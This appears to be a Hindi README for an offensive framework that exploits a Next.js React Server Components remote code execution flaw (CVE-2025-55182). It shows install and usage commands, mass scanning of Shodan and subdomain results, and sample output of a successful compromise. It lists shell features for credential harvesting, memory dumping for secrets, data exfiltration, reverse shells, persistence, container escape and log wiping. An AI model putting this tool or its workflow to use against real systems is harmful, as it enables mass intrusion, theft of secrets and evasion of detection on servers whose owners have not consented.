R2S एक व्यापक शोषण और पोस्ट-शोषण ढांचा है जो Next.js React सर्वर घटक भेद्यता (CVE-2025-55182) को लक्षित करता है। यह पैठ परीक्षण के लिए उन्नत सुविधाओं के साथ एक इंटरैक्टिव शेल प्रदान करता है, जिसमें फ़ाइल स्थानांतरण, दृढ़ता, गणना, विशेषाधिकार वृद्धि जांच और बहुत कुछ शामिल है।
Next.js React Server Components RCE के लिए उन्नत पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क
R2S एक व्यापक एक्सप्लॉइटेशन और पोस्ट-एक्सप्लॉइटेशन फ्रेमवर्क है जो Next.js React Server Components कमजोरी (CVE-2025-55182) को लक्षित करता है। यह पेनिट्रेशन टेस्टिंग के लिए उन्नत सुविधाओं के साथ एक इंटरैक्टिव शेल प्रदान करता है, जिसमें फ़ाइल ट्रांसफर, पर्सिस्टेंस, एनुमरेशन, प्रिविलेज एस्केलेशन जांच और बहुत कुछ शामिल है।
.env फ़ाइलें और कॉन्फ़िगरेशन फ़ाइलें# Python 3.6 या उच्चतर
python3 --version
# निर्भरताएँ स्थापित करें
pip3 install requests urllib3
# टूल को क्लोन या डाउनलोड करें
cd r2s-main
# निष्पादन योग्य बनाएं (वैकल्पिक)
chmod +x r2s_enhanced.py
# टूल चलाएं
python3 r2s_enhanced.py -h
python3 r2s_enhanced.py [विकल्प]
| विकल्प | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u, --url | एकल लक्ष्य URL | - |
-l, --list | URLs की सूची वाली फ़ाइल | - |
-c, --cmd | निष्पादित करने के लिए प्रारंभिक कमांड | id |
-t, --threads | स्कैनिंग थ्रेड्स की संख्या | 30 |
-p, --proxy | HTTP प्रॉक्सी (जैसे, http://127.0.0.1:8080) | - |
-v, --verbose | विस्तृत आउटपुट सक्षम करें | False |
--http-port | फ़ाइल स्थानांतरण के लिए HTTP सर्वर पोर्ट | 8000 |
python3 r2s_enhanced.py -u http://target.com
python3 r2s_enhanced.py -l targets.txt -t 50
cat targets.txt | python3 r2s_enhanced.py
shodan search "Next.js" | python3 r2s_enhanced.py
subfinder -d example.com | httpx | python3 r2s_enhanced.py
RCE पहुंच प्राप्त करने के बाद, आप इन कमांड्स के साथ एक इंटरैक्टिव शेल में प्रवेश करेंगे:
upload <local_file> <remote_path> # लक्ष्य पर फ़ाइल अपलोड करें
download <remote_file> <local_path> # लक्ष्य से फ़ाइल डाउनलोड करें
cd <directory> # कार्य निर्देशिका बदलें
pwd # कार्य निर्देशिका प्रिंट करें
enum # पूर्ण सिस्टम एनुमरेशन
privesc # प्रिविलेज एस्केलेशन जाँच
harvest # क्रेडेंशियल हार्वेस्टिंग
portscan <ip> # आंतरिक नेटवर्क पोर्ट स्कैन करें
memdump [pid] # रहस्यों के लिए प्रक्रिया मेमोरी डंप करें
lateral # लेटरल मूवमेंट के अवसर
escape # कंटेनर एस्केप वेक्टर
exfil [type] # डेटा निकालें (env/config/keys/db/logs/all)
reverse <lhost> <lport> # कई रिवर्स शेल पेलोड आज़माएं
persist # बुनियादी पर्सिस्टेंस जोड़ें
advpersist # उन्नत पर्सिस्टेंस जोड़ें
stealth # लॉग साफ़ करें और निशान छिपाएं
save # वर्तमान सत्र सहेजें
help, ? # सहायता संदेश दिखाएं
exit, quit # इंटरैक्टिव शेल से बाहर निकलें
कोई भी शेल कमांड सीधे निष्पादित करें:
whoami
id
uname -a
ps aux
netstat -tulpn
cat /etc/passwd
$ python3 r2s_enhanced.py -u http://vulnerable-app.com
_ __ __ ____
/ | / /__ _ __/ /_/ __ \________
/ |/ / _ \| |/_/ __/ /_/ / ___/ _ \
/ /| / __/> </_ _/ _, _/ /__/ __/
/_/ |_/\___/_/|_|\__/_/ |_|\___/\___/
Next.js RSC Exploit Tool (CVE-2025-55182)
Mass Scanner & Pipeline Edition (v4.1.0 - Enhanced)
>> CREDIT( G4rxd )
[*] Loaded 1 targets. Starting scan with 30 threads...
[*] Payload Command: id
[VULN] http://vulnerable-app.com >>> RCE SUCCESS
Output: uid=1000(node) gid=1000(node) groups=1000(node)
[+] Stateful Interactive RCE shell started. Type 'help' for commands.
[*] Advanced features: enum, privesc, persist, portscan, harvest, stealth
[*] New features: memdump, lateral, escape, exfil, advpersist, reverse
[+] HTTP server started on 192.168.1.100:8000
next-rce:/app$
next-rce:/app$ enum